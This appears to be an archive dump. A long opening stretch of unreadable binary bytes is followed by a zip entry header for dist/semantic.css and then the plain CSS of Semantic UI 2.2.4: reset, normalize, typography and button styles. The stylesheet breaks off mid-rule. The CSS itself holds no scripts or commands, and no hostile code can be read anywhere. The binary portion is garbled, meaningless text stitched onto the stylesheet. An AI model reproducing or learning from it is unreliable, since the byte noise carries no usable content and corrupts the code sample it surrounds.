�����x�).RE�ȧ�%vRq�Ǝz��7y���tRT����A�6@��	<�	�ӯ@�2\�� ��3�AF0�T�Lgrv\"�I�쁴���U<@�D�zh�=_��S�i�3�c7@��d�ṜS;�,�&��0�Q=z��2�U�]��?�w=�cYeH9㺱�I}�.�>�fnj��d�C�;P�X�<�zI��xb��{ɣ�Q�k�'�%���$�Da��	�m�tk�.RKҭ�^�24��>*7���їv5����cֺ�j{������+)}5ѱ>�s;�	��j�h>ZGI���2�:(&�_�{Ҡv�®-��m�P��G�$cV�hJw��W9�_cՀ�򿃰M)���,z�dC��q���M�LY�V���ܝ��9�{�Q���|����}�Ҙ�Ӆf�۹HϩD{�Y{{|Ί�K�[3S���ʧ1&��&11pW9<濏w�(��^b�'�W^V���
dk��xx�� 9������ȟ��g�X����,�r	��������s�E���[#��)ıqߎT��V�>]��rP��
N
{���5�5'�7��^�;]�yvސ�B��CJ
H�}(ڧ���hO��8͖� 3�Iq���'Υ.+��X�X�4��01V��{���Zݚ���k�4#ul�*�RU陖b���Wm#$�֐&��72k��\:K|�֙yl�?27ӱ�u19��vIj~y�E�;�{G���<B��ւb�h�m��+ϝi�s�����Mxi��
-C��y�j��M�4�j�oh�����S�[��<kL��I�y:��\���9���z�y

6���=�!ݐƹ9@k�q��P`�|�H�%�c���C[�|ͼ����F{��L�}�%��'�1�%��,`P�sݺ��rO,���_t���c������x<�;h�>��<8JKc��9Vn۪���x�o@�$�[T�s *hi~�0n*i&uuj�4��ؗvņJ]�_,f(�%r�a=�V�&�z���/�-��fy.n�oiu��fΝ�%Vz�=;���[f%/�DJۨ�h�(Q�nJ�T;�{�#������lL���6�!m.[�����iʽ��D�op琽]����i�ͯ��֥d�#"��6n��!�,R�F�¯5�{�i/kq*W��܎�б���ϰIX�h����w��w�cx�_�F�ӌ?�|����I�^K�V�o��צ�	F2�A���B��~D�Gg�?����恣.+,̉�h��w�g��E�3›r��o;I��e��y ���%dZq����g?[��
��:{�ӛД�D��uӐdbc
mi-O:��/���f�o1O���4�na�z͙a�4���ثW�>,�!'%�ڕ�8 ��1Z���B/�6f�&Β%1g��Ǎ\��筅�g}1	��7�����=I�������~�1ā"���p�N�U�pq����$���B�t0?i%��M��RA.�O 0Ӿ�~�>��*-��߼��B���\�
	�OLH��6�R����9�䝾8\d��}�����.=�)Is�C;�ԝ׵;�裵>�
�֔;��a¶yӬ�(*?3h��a���oϊTOk��.��������q9.�<�����k
v�a�Y�������_��SXf�6��<ƚ�쥡��ӆfVR�Jo�Y����ei��S�R�s!���G�X�궐/�?�p��@h.
���k�ya�g���$�
`j���/��I�}��y4L
 0�80�T�@�� qFA)<xFa�Ww�>#� '��gL��P3��o-Hx��y�Kj���X:�7�j{�����Π\jI�{�@�1�Bz�%�JY���5R�
����DZm|F�7�����az
'ܣ}\�
g���
Q�vkR�����ɶ���a��eY�|�r?]���7��t�'b��iά&%��eԛw��[�?����vj��o��ypX#w�QLu��}ێ�wҙw;��r�&A�E���o0���n�L�M���GĄ�T}��q�[ѿ�,����ʷ���?�DO��7��C6�ksOR�v�v���]PR0�?~
6f�χ�Uc�^���Ѝo+'�v+�M]w�Nĵ�k�{�3���U�8TD�;h��:�E���Ck�
�<[ G3�"կ�ў��WVҽ	1��\�a���O�u;:Qa�s=
��|[@��-�(x)<�$���(��@CH�ds�C
e_�6�L�v��$RC�(��'xK���,W�@6s��X>���E���y�%!t-�N�K�ƺP�ŷ��r�����Ο����W���]p;�d�cTP24բ����q�b�B�g#�R,�N����bt[ro�0�1y@z�r&����(۟�W��o�tݮb����.`�.�|-�LL���f��|�{!�(���ؐ,4��@.���:��c.c�߱�V.ܓZhC�\%H0��*�ȉ���/|W1ȟ�"��g#1��	�[����`1�K�۹|�S�7�qmTʩ�w?���b/���c����$�����"�E�=���(�<̜���T>��~(�4TWs�X@z��6�-�I�ã�̚�p��莬�O%P�b>Eʭ�=�#R�y�Fwl�wl���c�3��0\�'�=f)8M��ob�+��
�(�A�s�c�;�7��ʃ���A����w����X�芪{�3=	��l�pTm�$�f����H�cO.s>3"7뜦L5,C `�賟�.Y���R=�f��	^y��J� ���_n��D��D�����B�͓��Q�bR��᳣jR��3�t�uTZ��ő��Ѹ �^��E�A��Ŗ2��z��2�nfn�z���Եw+�L���Q�#�|�o����xGؓ�X�<{��U
�5�=�n~��,�r3��\qR����dbij�
ת��5;�g1��!�$��&"B|BF^���[��g	����)�y�$"	I`K0MmN&�4����"Sǐ����{���DJ�B#i��ʢ�4�8�̔��o�p�S���*m4��f\�T(��e6Z"�{���%�u�Oo��u1LW8��4��n�����8/�<2�(��$qvo��?=�����ouj
��[mo�s����j'��^3R��CjVC����7�#�c�Y�S'����T�
#O�DݿCj��
Bȅ�w@����Z)������5����s�q�#"t}2?/&�b�{
�ӌ�(u�b��兊>Zm�ך�lfi�~2�w`��hV�������	�	�;
�8��o��2uz�Y�1�k��4je"�E�Z�J/����.dz�Yo
Q|g 귩�@�c�P~S��`Ѳ`{HH�~1��L'�[04&��vT��qX���j�]g�1<~�y�,R� m4̭LjT�^��I��P�Оo��b�YOq�g���_�_M
���L��o��
�=�G3�l��~iRF�W�Y�J�_anIo��Ȁ��~hai*�=��L����"�����{
���oB�lÍ��kz�����)]k;�5z=S�߆�b3�<��k �������,�
�ԉ�y�2�-Vwb��1�Bh��4����SJ�&��v��x_�Rgv�J��^�4�R���H�YjA�;�)�7)l��jM��Ty��r�'~ϵ�hqٳ�N~�����bo�l8)��a|d6�Ȑ�
3�*��+G�|j��<Σ+�=% ��P:5Xd!]g
�=���6a���s��g����|��2먱���܂~�t�Th�e�S#�p���^��Y�W�Y�	uT}���V�ޡ�RV"\g`���k��^v'X(5��e�y�1�o�52H9|�ov�z�ϵ́z3��
� �l2C�=PC��E�L�z�ЂĻ8�v��gd�0��1|mi-/ǜv�VrD�^B�_'!Ε�4�G{�k9�7�K�G�+۲�%�:i$J
�@
i(Վ�u�q���!-�@��F��i�ۖrZ����z0R�6&��������'Y0��iB'Vښ�3�b��'�����O��ظTV��Kj-�l��6�Vh�B��0}�Z�B�[����Xh�:��S� S�,�K\ʭ,�(e�J޺$A(8-����2ЧM�6}<���r�g6<��Yʋ��?�_+I後)-��{º���R��L_<��x%��T��@�{P�S���:�@������)�b��(�x0"���{�eu�	u5�� s�/�@�O��7w�K�J�*[�ߋIMy{�|�9�6��>-�g�k6u�|��z��ba&^�#Y�u����Z<]�y��?�V��3p�mz��B��n_eք����c�`rF�
i�XGI�;���4�R���K�j�;-�T{K���i�2ܾ��ް�\>��^�Yu���
����>N��{�
��:�KS�����2VTԲ�f_n;h����|q�����w�P-�.f�*���Ы/��|�z9���r�;ߠHn��KQ#�x*&�߹��.d�t-�ٹ�?�LF��7�>D&�k��ft��b=ݤMv'���0�秏�ӳ���������7�`�tʿ@�A3�io��y�{U^�b\!p`E����<A��e���f�bky��wXK�$5u�.�B�@ė	��]��ELf�-���˥��@NRVzlHx!{��7���9'9\���b6}���x��H
���=1B[�Sz�u1��1�$��l���e$<�P��>ǜs���;�y��N@�	e\H��j�aZ��z~Fq�fyQVu�v�0N�n�q:_����z�����"�L�F�?:��bs�<�@(K�2�B�Rk�:�!��Z��l����������I���(Ɋ��iَ�A�I��EY�M��8�˺��y�����I����$+���e;��a'i�eU7m��4/��u?��xXmv����y��������L���&�����H,���
�J������l����@ap��`qx�D�Pit���py|�p��b�T&W(Uj�V�7Mf��fw8]n���$5���k����dE�tôl�� ��$����a��e����~�p��h��xAP�U�
Ӳ��0�cVTM7L�v\��DŽ2.�Җ����dE�tôl�D�Pƅ$+���e;��a'i�eU7m��4/� ���$
����"�L���&�����H,���
�J������l�������"L(�B*mZ��z~ z|�ج�'�Y�	e\H�3Y��>nt:����5zC���兔��E���7��*�U5 +(]}fG�;�d��k�U~����B��|���p��Iw�6C�P��u:�CM^�W�
���U�|�h��+�����ʚ?�|���	����X�~7��n��O�}��P����/�]谈i[�e�V��>�"!ߥ�ʻ����>�{LbT.dP`��k�`V�~J|��Cƥ��czΞ�&��L�I��S�OU���_�Jܾ���i��IJ$��
7�G�n½b�l]�4F�H>Ҹ�8�ds4[�I�&Q�����QkFv�lV,n�����S{|7��**�\,�)>?U^�U$�����gұ���w
n���brܚ�t�K��mp.O`�X�԰ʖ/.�%#�zdY&Dt�&�ãH:.��A��R��d+CX
x�\����7������D���'�`�Z���(l
���C��a��+�.�bڟ�e�n��W!L؄��/��.Lb��	e�j��.6 oDY�s)����R@IL+0�����D�G��vEN4���c��D�c����C[uV�U�p�.|�r���^�.�۵V׊�{�
�|x)@��YH?a��v��b�Nq?��zԣĴ� ' �	�~��ɤ�r|����U�3��6k$��|:��(�����q#I�gc=M�T�L����1Dٻ_���P�ل^��Ȝ��hR��-z���l�(nb�����P�j��[����^~�ܠ�g�6>?zX^�|��:���@I�񈛇��jI����܊�7��[08�;
Q�ˆ!E;U�(�GnZ�� �6�9�ן���V�'����P%��SL�SVB�e�^�7�I���m����=�wB����f���($���V�x��.VI�JU�,�r{kej����i�*!k�4�R�5��+���Y��I%$�T�J_��Hڥ
���˹����? �x�ߘ^�|Jz�m
��
+ʑ��{F��zi/��:�!*0�EHb^��HD��>�Y��hG�q0$�f#�Q&�g{d�E	�ͤQ�0���m%t��-�{��_���4�m�"�z�1\�=QO�Ř��$�7��`Bs��}mz|"K�����}L	٠��@��H$�g�w/�c�H�e'���d4����������@�/|�D�����oLW�C��+& �8���;���O��9&]�R�e_p[��|�N�fٻB�� Wϱ�X�(�>J�����Е�ǭ�A6�����#R�qR�}?���Gb�[��	��η||H�X�X��ᑨS�+����z�kˡ��!ϩ�#C�:�?(Q�/�ygK��ş^�c��6�n�}����8QnJ�Մ�c��^H]��c��M����~0p`�@j�sxz�%� ~r��X���Э��_��"���w'ի�ȕ?X[;œ�V���'>	"�&X�y�2ŖK��.B�-e�\m3�vl��RH'�T?M��;�`�ɧ������
��\�
|;�e`џ�MR�&*k�w�	fĵO;�z�ݘvռ���}���[�~��t��(�s�4�O�����������&�2.\@�6���%���T�Gl�lz�/�$�����M ���6O9�v�݃7a�ŭJ�.�
��sjo�fW�‘¾P�/��/>�l(�B��1���W��Qx�?�[@�ҏ����זQ���H�1
��N�?�V�y��[�=*�J��*��a0Ag}���y��}�!�)1.�]�i��9~��e\H5�.�����j�-s
��RJ�ӈ��nέ���RJ�R�eBi�u�O][�c$
�ul[�ֱqx% �߽�޽���v�ʸ�j� �B!�RJ)��R�c�1�8�W�'�!�B�[H �S�	)��%��+(Q*�PJ)���Zk�K�@�n�~K��õ�7�v��OKRC�$�q!��;ʸ�*s��Sʸ��ge0��2#��2.����l�/I��PK!�k�t�tdist/semantic.cssnu&1i� /*
 * # Semantic UI - 2.2.4
 * https://github.com/Semantic-Org/Semantic-UI
 * http://www.semantic-ui.com/
 *
 * Copyright 2014 Contributors
 * Released under the MIT license
 * http://opensource.org/licenses/MIT
 *
 */

/*!
 * # Semantic UI 2.2.4 - Reset
 * http://github.com/semantic-org/semantic-ui/
 *
 *
 * Released under the MIT license
 * http://opensource.org/licenses/MIT
 *
 */

/*******************************
             Reset
*******************************/

/* Border-Box */

*,
*:before,
*:after {
  box-sizing: inherit;
}

html {
  box-sizing: border-box;
}

/* iPad Input Shadows */

input[type="text"],
input[type="email"],
input[type="search"],
input[type="password"] {
  -webkit-appearance: none;
  -moz-appearance: none;
  /* mobile firefox too! */
}

/*******************************
         Theme Overrides
*******************************/

/*! normalize.css v3.0.1 | MIT License | git.io/normalize */

/**
 * Correct `block` display not defined in IE 8/9.
 */

/*! normalize.css v3.0.1 | MIT License | git.io/normalize */

/**
 * 1. Set default font family to sans-serif.
 * 2. Prevent iOS text size adjust after orientation change, without disabling
 *    user zoom.
 */

html {
  font-family: sans-serif;
  /* 1 */
  -ms-text-size-adjust: 100%;
  /* 2 */
  -webkit-text-size-adjust: 100%;
  /* 2 */
}

/**
 * Remove default margin.
 */

body {
  margin: 0;
}

/* HTML5 display definitions
   ========================================================================== */

/**
 * Correct `block` display not defined for any HTML5 element in IE 8/9.
 * Correct `block` display not defined for `details` or `summary` in IE 10/11 and Firefox.
 * Correct `block` display not defined for `main` in IE 11.
 */

article,
aside,
details,
figcaption,
figure,
footer,
header,
hgroup,
main,
nav,
section,
summary {
  display: block;
}

/**
 * 1. Correct `inline-block` display not defined in IE 8/9.
 * 2. Normalize vertical alignment of `progress` in Chrome, Firefox, and Opera.
 */

audio,
canvas,
progress,
video {
  display: inline-block;
  /* 1 */
  vertical-align: baseline;
  /* 2 */
}

/**
 * Prevent modern browsers from displaying `audio` without controls.
 * Remove excess height in iOS 5 devices.
 */

audio:not([controls]) {
  display: none;
  height: 0;
}

/**
 * Address `[hidden]` styling not present in IE 8/9/10.
 * Hide the `template` element in IE 8/9/11, Safari, and Firefox < 22.
 */

[hidden],
template {
  display: none;
}

/* Links
   ========================================================================== */

/**
 * Remove the gray background color from active links in IE 10.
 */

a {
  background: transparent;
}

/**
 * Improve readability when focused and also mouse hovered in all browsers.
 */

a:active,
a:hover {
  outline: 0;
}

/* Text-level semantics
   ========================================================================== */

/**
 * Address styling not present in IE 8/9/10/11, Safari, and Chrome.
 */

abbr[title] {
  border-bottom: 1px dotted;
}

/**
 * Address style set to `bolder` in Firefox 4+, Safari, and Chrome.
 */

b,
strong {
  font-weight: bold;
}

/**
 * Address styling not present in Safari and Chrome.
 */

dfn {
  font-style: italic;
}

/**
 * Address variable `h1` font-size and margin within `section` and `article`
 * contexts in Firefox 4+, Safari, and Chrome.
 */

h1 {
  font-size: 2em;
  margin: 0.67em 0;
}

/**
 * Address styling not present in IE 8/9.
 */

mark {
  background: #ff0;
  color: #000;
}

/**
 * Address inconsistent and variable font size in all browsers.
 */

small {
  font-size: 80%;
}

/**
 * Prevent `sub` and `sup` affecting `line-height` in all browsers.
 */

sub,
sup {
  font-size: 75%;
  line-height: 0;
  position: relative;
  vertical-align: baseline;
}

sup {
  top: -0.5em;
}

sub {
  bottom: -0.25em;
}

/* Embedded content
   ========================================================================== */

/**
 * Remove border when inside `a` element in IE 8/9/10.
 */

img {
  border: 0;
}

/**
 * Correct overflow not hidden in IE 9/10/11.
 */

svg:not(:root) {
  overflow: hidden;
}

/* Grouping content
   ========================================================================== */

/**
 * Address margin not present in IE 8/9 and Safari.
 */

figure {
  margin: 1em 40px;
}

/**
 * Address differences between Firefox and other browsers.
 */

hr {
  height: 0;
}

/**
 * Contain overflow in all browsers.
 */

pre {
  overflow: auto;
}

/**
 * Address odd `em`-unit font size rendering in all browsers.
 */

code,
kbd,
pre,
samp {
  font-family: monospace, monospace;
  font-size: 1em;
}

/* Forms
   ========================================================================== */

/**
 * Known limitation: by default, Chrome and Safari on OS X allow very limited
 * styling of `select`, unless a `border` property is set.
 */

/**
 * 1. Correct color not being inherited.
 *    Known issue: affects color of disabled elements.
 * 2. Correct font properties not being inherited.
 * 3. Address margins set differently in Firefox 4+, Safari, and Chrome.
 */

button,
input,
optgroup,
select,
textarea {
  color: inherit;
  /* 1 */
  font: inherit;
  /* 2 */
  margin: 0;
  /* 3 */
}

/**
 * Address `overflow` set to `hidden` in IE 8/9/10/11.
 */

button {
  overflow: visible;
}

/**
 * Address inconsistent `text-transform` inheritance for `button` and `select`.
 * All other form control elements do not inherit `text-transform` values.
 * Correct `button` style inheritance in Firefox, IE 8/9/10/11, and Opera.
 * Correct `select` style inheritance in Firefox.
 */

button,
select {
  text-transform: none;
}

/**
 * 1. Avoid the WebKit bug in Android 4.0.* where (2) destroys native `audio`
 *    and `video` controls.
 * 2. Correct inability to style clickable `input` types in iOS.
 * 3. Improve usability and consistency of cursor style between image-type
 *    `input` and others.
 */

button,
html input[type="button"],
input[type="reset"],
input[type="submit"] {
  -webkit-appearance: button;
  /* 2 */
  cursor: pointer;
  /* 3 */
}

/**
 * Re-set default cursor for disabled elements.
 */

button[disabled],
html input[disabled] {
  cursor: default;
}

/**
 * Remove inner padding and border in Firefox 4+.
 */

button::-moz-focus-inner,
input::-moz-focus-inner {
  border: 0;
  padding: 0;
}

/**
 * Address Firefox 4+ setting `line-height` on `input` using `!important` in
 * the UA stylesheet.
 */

input {
  line-height: normal;
}

/**
 * It's recommended that you don't attempt to style these elements.
 * Firefox's implementation doesn't respect box-sizing, padding, or width.
 *
 * 1. Address box sizing set to `content-box` in IE 8/9/10.
 * 2. Remove excess padding in IE 8/9/10.
 */

input[type="checkbox"],
input[type="radio"] {
  box-sizing: border-box;
  /* 1 */
  padding: 0;
  /* 2 */
}

/**
 * Fix the cursor style for Chrome's increment/decrement buttons. For certain
 * `font-size` values of the `input`, it causes the cursor style of the
 * decrement button to change from `default` to `text`.
 */

input[type="number"]::-webkit-inner-spin-button,
input[type="number"]::-webkit-outer-spin-button {
  height: auto;
}

/**
 * 1. Address `appearance` set to `searchfield` in Safari and Chrome.
 * 2. Address `box-sizing` set to `border-box` in Safari and Chrome
 *    (include `-moz` to future-proof).
 */

input[type="search"] {
  -webkit-appearance: textfield;
  /* 1 */
}

/**
 * Remove inner padding and search cancel button in Safari and Chrome on OS X.
 * Safari (but not Chrome) clips the cancel button when the search input has
 * padding (and `textfield` appearance).
 */

input[type="search"]::-webkit-search-cancel-button,
input[type="search"]::-webkit-search-decoration {
  -webkit-appearance: none;
}

/**
 * Define consistent border, margin, and padding.
 */

fieldset {
  border: 1px solid #c0c0c0;
  margin: 0 2px;
  padding: 0.35em 0.625em 0.75em;
}

/**
 * 1. Correct `color` not being inherited in IE 8/9/10/11.
 * 2. Remove padding so people aren't caught out if they zero out fieldsets.
 */

legend {
  border: 0;
  /* 1 */
  padding: 0;
  /* 2 */
}

/**
 * Remove default vertical scrollbar in IE 8/9/10/11.
 */

textarea {
  overflow: auto;
}

/**
 * Don't inherit the `font-weight` (applied by a rule above).
 * NOTE: the default cannot safely be changed in Chrome and Safari on OS X.
 */

optgroup {
  font-weight: bold;
}

/* Tables
   ========================================================================== */

/**
 * Remove most spacing between table cells.
 */

table {
  border-collapse: collapse;
  border-spacing: 0;
}

td,
th {
  padding: 0;
}

/*******************************
         Site Overrides
*******************************/
/*!
 * # Semantic UI 2.2.4 - Site
 * http://github.com/semantic-org/semantic-ui/
 *
 *
 * Released under the MIT license
 * http://opensource.org/licenses/MIT
 *
 */

/*******************************
             Page
*******************************/

html,
body {
  height: 100%;
}

html {
  font-size: 14px;
}

body {
  margin: 0px;
  padding: 0px;
  overflow-x: hidden;
  min-width: 320px;
  font-size: 14px;
  line-height: 1.4285em;
  color: rgba(0, 0, 0, 0.87);
  font-smoothing: antialiased;
}

/*******************************
             Headers
*******************************/

h1,
h2,
h3,
h4,
h5 {
  
  line-height: 1.2857em;
  margin: calc(2rem -  0.14285em ) 0em 1rem;
  font-weight: bold;
  padding: 0em;
}

h1 {
  min-height: 1rem;
  font-size: 2rem;
}

h2 {
  font-size: 1.714rem;
}

h3 {
  font-size: 1.28rem;
}

h4 {
  font-size: 1.071rem;
}

h5 {
  font-size: 1rem;
}

h1:first-child,
h2:first-child,
h3:first-child,
h4:first-child,
h5:first-child {
  margin-top: 0em;
}

h1:last-child,
h2:last-child,
h3:last-child,
h4:last-child,
h5:last-child {
  margin-bottom: 0em;
}

/*******************************
             Text
*******************************/

p {
  margin: 0em 0em 1em;
  line-height: 1.4285em;
}

p:first-child {
  margin-top: 0em;
}

p:last-child {
  margin-bottom: 0em;
}

/*-------------------
        Links
--------------------*/

a {
  color: #4183C4;
  text-decoration: none;
}

a:hover {
  color: #1e70bf;
  text-decoration: none;
}

/*******************************
          Highlighting
*******************************/

/* Site */

::-webkit-selection {
  background-color: #CCE2FF;
  color: rgba(0, 0, 0, 0.87);
}

::-moz-selection {
  background-color: #CCE2FF;
  color: rgba(0, 0, 0, 0.87);
}

::selection {
  background-color: #CCE2FF;
  color: rgba(0, 0, 0, 0.87);
}

/* Form */

textarea::-webkit-selection,
input::-webkit-selection {
  background-color: rgba(100, 100, 100, 0.4);
  color: rgba(0, 0, 0, 0.87);
}

textarea::-moz-selection,
input::-moz-selection {
  background-color: rgba(100, 100, 100, 0.4);
  color: rgba(0, 0, 0, 0.87);
}

textarea::selection,
input::selection {
  background-color: rgba(100, 100, 100, 0.4);
  color: rgba(0, 0, 0, 0.87);
}

/*******************************
        Global Overrides
*******************************/

/*******************************
         Site Overrides
*******************************/
/*!
 * # Semantic UI 2.2.4 - Button
 * http://github.com/semantic-org/semantic-ui/
 *
 *
 * Released under the MIT license
 * http://opensource.org/licenses/MIT
 *
 */

/*******************************
            Button
*******************************/

.ui.button {
  cursor: pointer;
  display: inline-block;
  min-height: 1em;
  outline: none;
  border: none;
  vertical-align: baseline;
  background: #E0E1E2 none;
  color: rgba(0, 0, 0, 0.6);
  
  margin: 0em 0.25em 0em 0em;
  padding: 0.78571429em 1.5em 0.78571429em;
  text-transform: none;
  text-shadow: none;
  font-weight: bold;
  line-height: 1em;
  font-style: normal;
  text-align: center;
  text-decoration: none;
  border-radius: 0.28571429rem;
  box-shadow: 0px 0px 0px 1px transparent inset, 0px 0em 0px 0px rgba(34, 36, 38, 0.15) inset;
  -webkit-user-select: none;
  -moz-user-select: none;
  -ms-user-select: none;
  user-select: none;
  -webkit-transition: opacity 0.1s ease, background-color 0.1s ease, color 0.1s ease, box-shadow 0.1s ease, background 0.1s ease;
  transition: opacity 0.1s ease, background-color 0.1s ease, color 0.1s ease, box-shadow 0.1s ease, background 0.1s ease;
  will-change: '';
  -webkit-tap-highlight-color: transparent;
}

/*******************************
            States
*******************************/

/*--------------
      Hover
---------------*/

.ui.button:hover {
  background-color: #CACBCD;
  background-image: none;
  box-shadow: 0px 0px 0px 1px transparent inset, 0px 0em 0px 0px rgba(34, 36, 38, 0.15) inset;
  color: rgba(0, 0, 0, 0.8);
}

.ui.button:hover .icon {
  opacity: 0.85;
}

/*--------------
      Focus
---------------*/

.ui.button:focus {
  background-color: #CACBCD;
  color: rgba(0, 0, 0, 0.8);
  background-image: '' !important;
  box-shadow: '' !important;
}

.ui.button:focus .icon {
  opacity: 0.85;
}

/*--------------
      Down
---------------*/

.ui.button:active,
.ui.active.button:active {
  background-color: #BABBBC;
  background-image: '';
  color: rgba(0, 0, 0, 0.9);
  box-shadow: 0px 0px 0px 1px transparent inset, none;
}

/*--------------
     Active
---------------*/

.ui.active.button {
  background-color: #C0C1C2;
  background-image: none;
  box-shadow: 0px 0px 0px 1px transparent inset;
  color: rgba(0, 0, 0, 0.95);
}

.ui.active.button:hover {
  background-color: #C0C1C2;
  background-image: none;
  color: rgba(0, 0, 0, 0.95);
}

.ui.active.button:active {
  background-color: #C0C1C2;
  background-image: none;
}

/*--------------
    Loading
---------------*/

/* Specificity hack */

.ui.loading.loading.loading.loading.loading.loading.button {
  position: relative;
  cursor: default;
  text-shadow: none !important;
  color: transparent !important;
  opacity: 1;
  pointer-events: auto;
  -webkit-transition: all 0s linear, opacity 0.1s ease;
  transition: all 0s linear, opacity 0.1s ease;
}

.ui.loading.button:before {
  position: absolute;
  content: '';
  top: 50%;
  left: 50%;
  margin: -0.64285714em 0em 0em -0.64285714em;
  width: 1.28571429em;
  height: 1.28571429em;
  border-radius: 500rem;
  border: 0.2em solid rgba(0, 0, 0, 0.15);
}

.ui.loading.button:after {
  position: absolute;
  content: '';
  top: 50%;
  left: 50%;
  margin: -0.64285714em 0em 0em -0.64285714em;
  width: 1.28571429em;
  height: 1.28571429em;
  -webkit-animation: button-spin 0.6s linear;
  animation: button-spin 0.6s linear;
  -webkit-animation-iteration-count: infinite;
  animation-iteration-count: infinite;
  border-radius: 500rem;
  border-color: #FFFFFF transparent transparent;
  border-style: solid;
  border-width: 0.2em;
  box-shadow: 0px 0px 0px 1px transparent;
}

.ui.labeled.icon.loading.button .icon {
  background-color: transparent;
  box-shadow: none;
}

@-webkit-keyframes button-spin {
  from {
    -webkit-transform: rotate(0deg);
    transform: rotate(0deg);
  }

  to {
    -webkit-transform: rotate(360deg);
    transform: rotate(360deg);
  }
}

@keyframes button-spin {
  from {
    -webkit-transform: rotate(0deg);
    transform: rotate(0deg);
  }

  to {
    -webkit-transform: rotate(360deg);
    transform: rotate(360deg);
  }
}

.ui.basic.loading.button:not(.inverted):before {
  border-color: rgba(0, 0, 0, 0.1);
}

.ui.basic.loading.button:not(.inverted):after {
  border-top-color: #767676;
}

/*-------------------
      Disabled
--------------------*/

.ui.buttons .disabled.button,
.ui.disabled.button,
.ui.button:disabled,
.ui.disabled.button:hover,
.ui.disabled.active.button {
  cursor: default;
  opacity: 0.45 !important;
  background-image: none !important;
  box-shadow: none !important;
  pointer-events: none !important;
}

/* Basic Group With Disabled */

.ui.basic.buttons .ui.disabled.button {
  border-color: rgba(34, 36, 38, 0.5);
}

/*******************************
             Types
*******************************/

/*-------------------
       Animated
--------------------*/

.ui.animated.button {
  position: relative;
  overflow: hidden;
  padding-right: 0em !important;
  vertical-align: middle;
  z-index: 1;
}

.ui.animated.button .content {
  will-change: transform, opacity;
}

.ui.animated.button .visible.content {
  position: relative;
  margin-right: 1.5em;
}

.ui.animated.button .hidden.content {
  position: absolute;
  width: 100%;
}

/* Horizontal */

.ui.animated.button .visible.content,
.ui.animated.button .hidden.content {
  -webkit-transition: right 0.3s ease 0s;
  transition: right 0.3s ease 0s;
}

.ui.animated.button .visible.content {
  left: auto;
  right: 0%;
}

.ui.animated.button .hidden.content {
  top: 50%;
  left: auto;
  right: -100%;
  margin-top: -0.5em;
}

.ui.animated.button:focus .visible.content,
.ui.animated.button:hover .visible.content {
  left: auto;
  right: 200%;
}

.ui.animated.button:focus .hidden.content,
.ui.animated.button:hover .hidden.content {
  left: auto;
  right: 0%;
}

/* Vertical */

.ui.vertical.animated.button .visible.content,
.ui.vertical.animated.button .hidden.content {
  -webkit-transition: top 0.3s ease, -webkit-transform 0.3s ease;
  transition: top 0.3s ease, -webkit-transform 0.3s ease;
  transition: top 0.3s ease, transform 0.3s ease;
  transition: top 0.3s ease, transform 0.3s ease, -webkit-transform 0.3s ease;
}

.ui.vertical.animated.button .visible.content {
  -webkit-transform: translateY(0%);
  -ms-transform: translateY(0%);
  transform: translateY(0%);
  right: auto;
}

.ui.vertical.animated.button .hidden.content {
  top: -50%;
  left: 0%;
  right: auto;
}

.ui.vertical.animated.button:focus .visible.content,
.ui.vertical.animated.button:hover .visible.content {
  -webkit-transform: translateY(200%);
  -ms-transform: translateY(200%);
  transform: translateY(200%);
  right: auto;
}

.ui.vertical.animated.button:focus .hidden.content,
.ui.vertical.animated.button:hover .hidden.content {
  top: 50%;
  right: auto;
}

/* Fade */

.ui.fade.animated.button .visible.content,
.ui.fade.animated.button .hidden.content {
  -webkit-transition: opacity 0.3s ease, -webkit-transform 0.3s ease;
  transition: opacity 0.3s ease, -webkit-transform 0.3s ease;
  transition: opacity 0.3s ease, transform 0.3s ease;
  transition: opacity 0.3s ease, transform 0.3s ease, -webkit-transform 0.3s ease;
}

.ui.fade.animated.button .visible.content {
  left: auto;
  right: auto;
  opacity: 1;
  -webkit-transform: scale(1);
  -ms-transform: scale(1);
  transform: scale(1);
}

.ui.fade.animated.button .hidden.content {
  opacity: 0;
  left: 0%;
  right: auto;
  -webkit-transform: scale(1.5);
  -ms-transform: scale(1.5);
  transform: scale(1.5);
}

.ui.fade.animated.button:focus .visible.content,
.ui.fade.animated.button:hover .visible.content {
  left: auto;
  right: auto;
  opacity: 0;
  -webkit-transform: scale(0.75);
  -ms-transform: scale(0.75);
  transform: scale(0.75);
}

.ui.fade.animated.button:focus .hidden.content,
.ui.fade.animated.button:hover .hidden.content {
  left: 0%;
  right: auto;
  opacity: 1;
  -webkit-transform: scale(1);
  -ms-transform: scale(1);
  transform: scale(1);
}

/*-------------------
       Inverted
--------------------*/

.ui.inverted.button {
  box-shadow: 0px 0px 0px 2px #FFFFFF inset !important;
  background: transparent none;
  color: #FFFFFF;
  text-shadow: none !important;
}

/* Group */

.ui.inverted.buttons .button {
  margin: 0px 0px 0px -2px;
}

.ui.inverted.buttons .button:first-child {
  margin-left: 0em;
}

.ui.inverted.vertical.buttons .button {
  margin: 0px 0px -2px 0px;
}

.ui.inverted.vertical.buttons .button:first-child {
  margin-top: 0em;
}

/* States */

/* Hover */

.ui.inverted.button:hover {
  background: #FFFFFF;
  box-shadow: 0px 0px 0px 2px #FFFFFF inset !important;
  color: rgba(0, 0, 0, 0.8);
}

/* Active / Focus */

.ui.inverted.button:focus,
.ui.inverted.button.active {
  background: #FFFFFF;
  box-shadow: 0px 0px 0px 2px #FFFFFF inset !important;
  color: rgba(0, 0, 0, 0.8);
}

/* Active Focus */

.ui.inverted.button.active:focus {
  background: #DCDDDE;
  box-shadow: 0px 0px 0px 2px #DCDDDE inset !important;
  color: rgba(0, 0, 0, 0.8);
}

/*-------------------
    Labeled Button
--------------------*/

.ui.labeled.button:not(.icon) {
  display: -webkit-inline-box;
  display: -webkit-inline-flex;
  display: -ms-inline-flexbox;
  display: inline-flex;
  -webkit-box-orient: horizontal;
  -webkit-box-direction: normal;
  -webkit-flex-direction: row;
  -ms-flex-direction: row;
  flex-direction: row;
  background: none !important;
  padding: 0px !important;
  border: none !important;
  box-shadow: none !important;
}

.ui.labeled.button > .button {
  margin: 0px;
}

.ui.labeled.button > .label {
  display: -webkit-box;
  display: -webkit-flex;
  display: -ms-flexbox;
  display: flex;
  -webkit-box-align: center;
  -webkit-align-items: center;
  -ms-flex-align: center;
  align-items: center;
  margin: 0px 0px 0px -1px !important;
  padding: '';
  font-size: 1em;
  border-color: rgba(34, 36, 38, 0.15);
}

/* Tag */

.ui.labeled.button > .tag.label:before {
  width: 1.85em;
  height: 1.85em;
}

/* Right */

.ui.labeled.button:not([class*="left labeled"]) > .button {
  border-top-right-radius: 0px;
